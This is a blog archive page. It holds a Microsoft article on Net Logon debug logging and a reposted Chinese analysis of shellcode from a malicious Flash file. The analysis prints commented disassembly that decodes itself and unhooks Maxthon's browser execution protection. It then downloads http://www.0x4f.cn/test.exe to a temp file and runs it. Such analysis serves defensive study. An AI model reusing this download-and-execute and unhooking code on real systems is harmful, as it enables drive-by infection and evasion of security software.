TwitterTwitter FacebookFacebook FlickrFlickr RSSRSS

20080707

Enabling debug logging for the Net Logon service

Article ID:109626
Last Review:April 21, 2008
Revision:9.0
This article was previously published under Q109626

SUMMARY

This article details the steps to enable logging of debug information by using a debug version of Net Logon and the required debug DLLs.

MORE INFORMATION

Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base:
322756 (http://support.microsoft.com/kb/322756/) How to back up and restore the registry in Windows

Windows Server 2008, Windows Vista, Windows Server 2003, Windows XP Professional, and Windows 2000 Server versions

The version of Netlogon.dll that has tracing included is installed by default. To enable debug logging, set the debug flag that you want in the registry and restart the service by using the following steps:
1.Start the Regedt32 program.
2.Delete the Reg_SZ value of the following registry entry, create a REG_DWORD value with the same name, and then add the 2080FFFF hexadecimal value.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
3.At a command prompt, type net stop netlogon, and then type net start netlogon. This enables debug logging.
4.To disable debug logging, change the data value to 0x0 in the following registry key:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
5.Quit Regedt32.
6.Stop Net Logon, and then restart Net Logon.

Notes
After you restart Net Logon, Net Logon-related activity may be logged to %windir%debugnetlogon.log.
The MaximumLogFileSize registry entry can be used to specify the maximum size of the Netlogon.log file. By default, this registry entry does not exist, and the default maximum size of the Netlogon.log file is 20 MB. When the file reaches 20 MB, it is renamed to Netlogon.bak, and a new Netlogon.log file is created. This registry entry has the following parameters:

Path: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParameters
Value Name: MaximumLogFileSize
Value Type: REG_DWORD
Value Data: <maximum log file size in bytes>
On Windows Server 2003-based computers, you can use the following Group Policy to configure the log file size:
Computer ConfigurationAdministrative TemplatesSystemNet LogonMaximum Log File Size
Note As an alternate method, you can set the dbflag without using the registry. To do this run the following command from a command prompt:
nltest /dbflag:0x2080ffff
Nltest is included as part of Windows Server 2008 and is also available as part of the Support Tools packages on the installation media for Windows Server 2003, Windows XP, and Windows 2000.

After you finish debugging, you can run the nltest /dbflag:0x0 command from a command prompt to reset the debug flag to 0. For more information, click the following article numbers to view the articles in the Microsoft Knowledge Base:
247811 (http://support.microsoft.com/kb/247811/) How domain controllers are located in Windows
189541 (http://support.microsoft.com/kb/189541/) Using the checked Netlogon.dll to track account lockouts
Note This is the public version of this article.
//////////////////////////////////////////////////////////////////////// 
// Windows Server 2008, Windows Vista, Windows Server 2003, Windows 2000 Debug flags and their values
////////////////////////////////////////////////////////////////////////


#define NL_INIT 0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and replication
#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_SITE 0x00000020 // Sites
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_DOMAIN 0x00000400 // Hosted Domain maintenance
#define NL_2 0x00000800
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
#define NL_DNS 0x00004000 // DNS name registration

//
// Very verbose bits
//

#define NL_WORKER 0x00010000 // Debug worker thread
#define NL_DNS_MORE 0x00020000 // Verbose DNS name registration
#define NL_PULSE_MORE 0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set timing output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt across net
#define NL_SYNC_MORE 0x00800000 // additional replication dbgprint
#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_SITE_MORE 0x08000000 // Verbose sites

//
// Control bits.
//

#define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per call
#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup

Setting up to debug Net Logon on Windows NT 3.51

1.CD %windir%system32
2.Rename Lsass.exe Lsass.fre
3.Rename Lsasrv.dll Lsasrv.fre
4.Rename Netlogon.dll Netlogon.free
5.Copy the checked version of Lsass.exe, Lsasrv.dll and Netlogon.dll to the System32 directory. You can obtain the checked version from the DDK.
6.CD %windir%
7.MD debug
8.Start Regedt32
9.Change the REG_DWORD value of the following registry key to 2080FFFF, and then quit Regedt32.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag

Set up to debug Net Logon on Windows NT 4.0

1.CD %windir%system32.
2.Rename Netlogon.dll Netlogon.free.
3.Copy the checked version of Netlogon.dll to the system32 directory. You can obtain the checked version from the DDK.
4.Start Regedt32.
5.Delete the Reg_SZ value of the following registry entry, create a REG_DWORD value with the same name, and then add the 2080FFFF hexadecimal value.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
6.Quit Regedt32, and then restart the server
7.Confirm that the debug directory was created under the %windir% directory and contains a Netlogon.log file.
Note A Netlogon 3051 eventlog error may be returned and the Net Logon service may not respond to start if the value entered for DBFlag is not entered as a hex value, for example, 0x2400ffff.
//////////////////////////////////////////////////////////////////////// 
//
// 3.5, 3.51 and 4.00 Debug flags and their values.
//
////////////////////////////////////////////////////////////////////////
      #define NL_INIT          0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and
replication

#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_PULSE 0x00000020 // Pulse processing
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_DOMAIN 0x00000400 // Hosted Domain maintenance
#define NL_PACK 0x00000800 // Pack/Unpack of sync messages
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
#define NL_DNS 0x00004000 // DNS name registration
// 
// Very verbose bits
//
      #define NL_DNS_MORE      0x00020000 // Verbose DNS name registration
#define NL_PULSE_MORE 0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set
timing

output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt
across

net
#define NL_SYNC_MORE 0x00800000 // additional replication
dbgprint

#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_NETLIB 0x08000000 // Netlogon portion of Netlib
// 
// Control bits.
//
      #ifdef DONT_REQUIRE_ACCOUNT<BR/>
#define NL_DONT_REQUIRE_ACCOUNT 0x00020000 // Don't require
account on
DC discovery
#endif DONT_REQUIRE_ACCOUNT

#define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per
call

#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup
//////////////////////////////////////////////////////////////////////// 
//
// 3.1 Debug flags and their values.
//
////////////////////////////////////////////////////////////////////////
#define NL_INIT 0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and
replication
#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_PULSE 0x00000020 // Pulse processing
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_PACK 0x00000800 // Pack/Unpack of sync messages
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
      // 
// Very verbose bits
//
      #define NL_PULSE_MORE    0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set
timing output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt
                                             across net
#define NL_SYNC_MORE 0x00800000 // additional replication
dbgprint
#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_NETLIB 0x08000000 // Netlogon portion of Netlib
      // 
// Control bits.
//
      #define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per
call
#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup
   Opcode values that are returned in the Netlogon Logs for Troubleshooting
      #define LOGON_REQUEST            0   // LM1.0/2.0 LOGON Request from
client
#define LOGON_RESPONSE 1 // LM1.0 Response to
LOGON_REQUEST
#define LOGON_CENTRAL_QUERY 2 // LM1.0 QUERY for centralized
init
#define LOGON_DISTRIB_QUERY 3 // LM1.0 QUERY for non-
centralized init
#define LOGON_CENTRAL_RESPONSE 4 // LM1.0 response to
LOGON_CENTRAL_QUERY
#define LOGON_DISTRIB_RESPONSE 5 // LM1.0 resp to
LOGON_DISTRIB_QUERY
#define LOGON_RESPONSE2 6 // LM2.0 Response to
LOGON_REQUEST
#define LOGON_PRIMARY_QUERY 7 // QUERY for Primary DC
#define LOGON_START_PRIMARY 8 // announce startup of Primary
DC
#define LOGON_FAIL_PRIMARY 9 // announce failed Primary DC
#define LOGON_UAS_CHANGE 10 // announce change to UAS or SAM
#define LOGON_NO_USER 11 // announce no user on machine
#define LOGON_PRIMARY_RESPONSE 12 // response to
LOGON_PRIMARY_QUERY
#define LOGON_RELOGON_RESPONSE 13 // LM1.0/2.0 resp to relogn
request
#define LOGON_WKSTINFO_RESPONSE 14 // LM1.0/2.0 resp to interrogate
request
#define LOGON_PAUSE_RESPONSE 15 // LM2.0 resp when NETLOGON is
paused
#define LOGON_USER_UNKNOWN 16 // LM2.0 response when user is
unknown
#define LOGON_UPDATE_ACCOUNT 17 // LM2.1 announce account
updates
#define LOGON_SAM_LOGON_REQUEST 18 // SAM LOGON request from client
#define LOGON_SAM_LOGON_RESPONSE 19 // SAM Response to SAM logon
request
#define LOGON_SAM_PAUSE_RESPONSE 20 // SAM response when NETLOGON is
paused
#define LOGON_SAM_USER_UNKNOWN 21 // SAM response when user is
unknown
#define LOGON_SAM_WKSTINFO_RESPONSE 22 // SAM response to
interrogate request
1.Net Stop Netlogon
2.Net Start Netlogon.
This may start logging the Net Logon-related activity to %windir%debugnetlogon.log.

APPLIES TO
Microsoft Windows Server 2003, Standard Edition (32-bit x86)
Microsoft Windows Server 2003, Enterprise Edition (32-bit x86)
Microsoft Windows Server 2003, Datacenter Edition (32-bit x86)
Microsoft Windows Server 2003, Web Edition
Microsoft Windows XP Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows NT Advanced Server 3.1
Microsoft Windows NT Server 3.5
Microsoft Windows NT Server 3.51
Microsoft Windows NT Server 4.0 Standard Edition
Microsoft Windows NT Workstation 3.1
Microsoft Windows NT Workstation 3.5
Microsoft Windows NT Workstation 3.51
Microsoft Windows NT Workstation 4.0 Developer Edition
Windows Server 2008 Standard
Windows Server 2008 Enterprise
Windows Server 2008 Standard without Hyper-V
Windows Server 2008 for Itanium-Based Systems
Windows Server 2008 Enterprise without Hyper-V
Windows Vista Ultimate
Windows Vista Home Premium
Windows Vista Home Basic
Windows Vista Enterprise
Windows Vista Business

Back to the top

Keywords:
kbhowto kbusage KB109626

20080703

轉貼:flash漏洞所用shellcode的分析

最近幾天flash漏洞的網馬非常流行,於是我想分析一下shellcode是怎麼跑的。

但是能力所限,還難以像大牛們一起定位到有漏洞的代碼及觀察整個溢出過程。於是,我只能做後面一部分工作,即看看那個畸形flash文件中的shellcode長得什麼樣子,它運行起來會有什麼動作。

我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在連文件頭偏移0xEB處開始。之後我將這段 shellcode拷貝到一個可執行文件的入口點開頭處,這樣我就可以在OD裡直接調試shellcode了。

調試過程中我發現,由於flash這次的漏洞,真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能,我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。

該shellcode的功能很全面,不但有一般shellcode的xor加密,獲取API地址和執行下載病毒並運行的操作,還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括:

1. shellcode有效時間限制,當發現系統時間遲於shellcode中保存的一個固定時間時,直接ExitThread。這應該是flash網馬生成器發佈者所做的,可能出於商業考慮,避免別人通過簡單修改病毒URL地址而生成自己的利用文件。

2. 從kernel32.dll的輸入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址,對這兩處地址進行 inline hook,hook到自身保存的相應的原始代碼中,並對CreateProcessInternalW的前面幾個字節進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行保存的措施而出台的anti方式。雖然這種方法早已被提出,是大家皆知的,但是在以前的網馬應用中,由於可用的緩衝區並不是 那麼大,不適於加入這些額外的代碼,因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次,我終於看到了一個實際利用的例子。

3. 使用CreateProcessInternalA進行最後下載到本機的病毒文件的執行。以前一般的shellcode是用WinExec。

下面是shellcode執行流程的分析,分析基本在註釋當中,標號(1)、(2)……代碼了執行流程順序,依照標號便可容易理解整個流程。

首先開始是一次xor解密,每兩個字節與0x4522進行異或。

00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)循環,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密後的代碼
00407018 E8 E5FFFFFF call 00407002 ; (2)F7

接下來是解密後的實際代碼

首先是取得kernel32.dll中的API函數地址並填入後面的數據區。這裡使用的是很常用的方法,通過PEB得到kernel32.dll的基址, 然後通過遍歷其輸出表,把每一函數名稱字符串經過一個加密運算,再將結果與輸入的值比較,進而找到符合的API函數位置。

0040701D E9 65020000 jmp 00407287 ; (6)解密後代碼開頭,往下跳到最後
00407022 5F pop edi ; (8)定位自身地址,此時為後面數據區地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判斷是2000的系統還是XP,我這裡是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系統,則修改下面的數據
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)這裡F8就可以了,依照數據區開頭的幾個加密結果,遍歷輸出表找函數,把函數地址覆蓋掉原來的另密結果
00407054 ^ E2 F9 loopd short 0040704F ; 循環,直接在下面F4

這裡填入的API地址依次為(以此時相對esi的偏移,即下面調用時使用的[esi+XX]中的XX為序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接著搜索內存得到一個「retn」命令位置(實際上不一定是retn命令),用於後面的anti-debug。

00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)循環搜索內存特徵,其實是為了借用一個retn代碼來改變程序流程反調試
0040705C 8946 30 mov dword ptr [esi+30], eax ; 這裡搜索到的是7C801881

再接著遍歷kernel32.dll的輸入表,再取兩個NATIVE API函數的地址。

0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜索輸出表得到函數地址
00407067 ^ E2 F9 loopd short 00407062

這裡取到的地址是(以此時相對esi的偏移,即下面調用時使用的[esi+XX]中的XX為序)

0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory

接著是使用LoadLibraryA加載urlmon.dll並取得URLDownloadToFileA函數的地址。值得一提的是這裡不是直接call而是用在子函數裡用先push返回地址再jmp的方式。

00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; 'urlmon'
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一個純為了anti-debug而搞出來的子函數,直接在下一句下斷,再F9就不會跑飛
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函數地址並保存,直接F8,可以看到找到的函數是URLDownloadToFileA

URLDownloadToFileA函數地址被保存在[esi+2C]

在進入實質工作之前,就是附加的操作。

首先是時間限制的驗證
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆棧騰出FILETIME結構的內存空間
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系統時間如果晚於設定好的時間,則不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 這樣就直接ExitThread了,也就是這個shellcode的時間限制

我調試的時候,已經過了允許時間了,所以本來就會直接ExitThread,這時可以自己強行把EIP改到下一句,不讓它退出,繼續調試。

接下來的部分我認為比較讓我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原樣代碼,在這裡對NATIVE API進行了inline hook,hook到shellcode自帶的原樣代碼中,以及把CreateProcessInternalW前面的幾個字節進行了還原,從而破壞了一 些軟件的遊覽器執行保護功能,為自己執行被下載的病毒程序掃清了障礙,這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。

首先是將自身保存的NATIVE API原樣代碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡,我想是為了運行的穩定,如果inline hook直接指向shellcode內部,那麼shellcode執行完被清理掉之後,程序再調用相應NATIVE API的時候,就會崩潰掉。這裡把代碼拷進PEB後面的空間,可以保證在shellcode退出後這部分地址仍然能夠正常訪問,程序也還能正常運行(至少 看起來是那樣)。

004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB結構後面找到一塊空著的內存
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8]
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回這裡
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸擬NATIVE API的代碼拷進這塊內存,用於後面inline hook
004070CB 5E pop esi

接著,將「找到的」ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修改為「push XXX,retn」的樣式,以跳到之前拷貝的代碼中:

004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函數頭0x20為可讀可寫
004070D4 6A 1A push 1A ; 以下為直接對ZwCreateProcessEx進行inline hook
004070D6 6A 0D push 0D
004070D8 6A 00 push 0
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4]
004070DF C607 68 mov byte ptr [edi], 68 ; 代碼"push……"
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 內存中拷貝的代碼
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3

為什麼我上面特別強調「找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處」?
我們千萬不要忘記,這個做法是針對某些軟件的,衝著哪個軟件?
我想到了MAXTHON2。

搜索一下關於MAXTHON2的瀏覽器執行保護的文章,很早的文章顯示,MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢,shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,這意味著什麼?
我大膽假設,當MAXTHON2遊覽漏洞利用網頁的時候,shellcode的執行環境就在其進程中,那麼,這時shellcode從kernel32.dll的輸入表中取到的地址,正是被MAXTHON2給hook掉的結果,直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之,因為接著它對這兩個地址的代碼進行了inline hook,又實際上轉回了原始的代碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效(本來就沒有失效)的情況下,其執行保護被繞過了。

接下來的動作進一步證實了這一點,對CreateProcessInternalW開頭的代碼進行還原,這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook?!

00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 還原前面的幾個字節,還原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]

做完了這些操作,shellcode最後終於進入自己的實質性工作了。

首先,得到Temp文件夾地址,並在後面加入「orz.exe」,作為病毒文件的本地地址

00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp文件夾路徑後面加入文件名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的文件名為"orz.exe"

為保險,先嘗試把這個路徑的文件刪除。

00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA

然後直接調用URLDownloadToFileA,從遠程地址http://www.0x4f.cn/test.exe下載病毒文件到orz.exe

00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址,"http://www.0x4f.cn/test.exe"
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA

最後,shellcode執行所下載的文件,注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對 CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護,病毒作者堅 信此時使用CreateProcessInternalA有非常大的可能可以成功。

00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 循環,在堆棧中清出一塊全0的空間
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 這裡應該會跳回原來溢出的位置,讓程序正常運行下去
0040718B C2 0400 retn 4

下面是前面的代碼調用到的子函數及數據。

首先是摸擬call的函數

0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入棧,這裡剛好是一個retn命令
004071A6 FFE0 jmp eax ; jmp進API函數開頭

接著是中間一個為了重定位所做的回call

004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次為了重定位而跳回,這裡必須F7

再接著是被拷貝的NATIVE API原始代碼:

004071AD 6A 29 push 29
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20
004071BA 6A 30 push 30
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20
004071C7 6A 32 push 32
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call dword ptr [edx]
004071D1 C2 2400 retn 24
004071D4 B8 F0000000 mov eax, 0F0
004071D9 36:8D5424 04 lea edx, dword ptr [esp+4]
004071DE CD 2E int 2E
004071E0 C2 1400 retn 14
004071E3 B8 15010000 mov eax, 115
004071E8 EB 05 jmp short 004071EF
004071EA B8 1F010000 mov eax, 11F
004071EF BA 0003FE7F mov edx, 7FFE0300
004071F4 FF12 call dword ptr [edx]
004071F6 C2 1400 retn 14

接下來是用VirtualProtect改API函數入口的頁保護屬性的子函數

004071F9 52 push edx
004071FA 54 push esp
004071FB 6A 04 push 4
004071FD 6A 20 push 20
004071FF 57 push edi
00407200 FF56 14 call dword ptr [esi+14] ; ViturlProtect,修改函數前面0x20字節為可讀可寫
00407203 5A pop edx
00407204 C3 retn

接下來是遍歷kernel32.dll的輸入表找NATIVE API地址的函數,這些都是通用函數,shellcode用得比較多,就懶於再註釋了。

00407205 51 push ecx
00407206 8B45 3C mov eax, dword ptr [ebp+3C]
00407209 45 inc ebp
0040720A 8B5C28 7F mov ebx, dword ptr [eax+ebp+7F]
0040720E 4D dec ebp
0040720F 03DD add ebx, ebp
00407211 8B13 mov edx, dword ptr [ebx]
00407213 03D5 add edx, ebp
00407215 33C9 xor ecx, ecx
00407217 49 dec ecx
00407218 41 inc ecx
00407219 8B048A mov eax, dword ptr [edx+ecx*4]
0040721C 8D4428 02 lea eax, dword ptr [eax+ebp+2]
00407220 60 pushad
00407221 33C9 xor ecx, ecx
00407223 0FBE10 movsx edx, byte ptr [eax]
00407226 3AD6 cmp dl, dh
00407228 74 08 je short 00407232
0040722A C1C9 07 ror ecx, 7
0040722D 03CA add ecx, edx
0040722F 40 inc eax
00407230 ^ EB F1 jmp short 00407223
00407232 390F cmp dword ptr [edi], ecx
00407234 61 popad
00407235 ^ 75 E1 jnz short 00407218
00407237 8B43 10 mov eax, dword ptr [ebx+10]
0040723A 03C5 add eax, ebp
0040723C 8B0488 mov eax, dword ptr [eax+ecx*4]
0040723F AB stos dword ptr es:[edi]
00407240 59 pop ecx
00407241 C3 retn

代碼內容最後是遍歷PE文件輸出表得到API函數地址的子函數,同樣是通用的模塊,也懶於第N次註釋了:

00407242 51 push ecx
00407243 56 push esi
00407244 8B75 3C mov esi, dword ptr [ebp+3C]
00407247 8B742E 78 mov esi, dword ptr [esi+ebp+78]
0040724B 03F5 add esi, ebp
0040724D 56 push esi
0040724E 8B76 20 mov esi, dword ptr [esi+20]
00407251 03F5 add esi, ebp
00407253 33C9 xor ecx, ecx
00407255 49 dec ecx
00407256 41 inc ecx
00407257 AD lods dword ptr [esi]
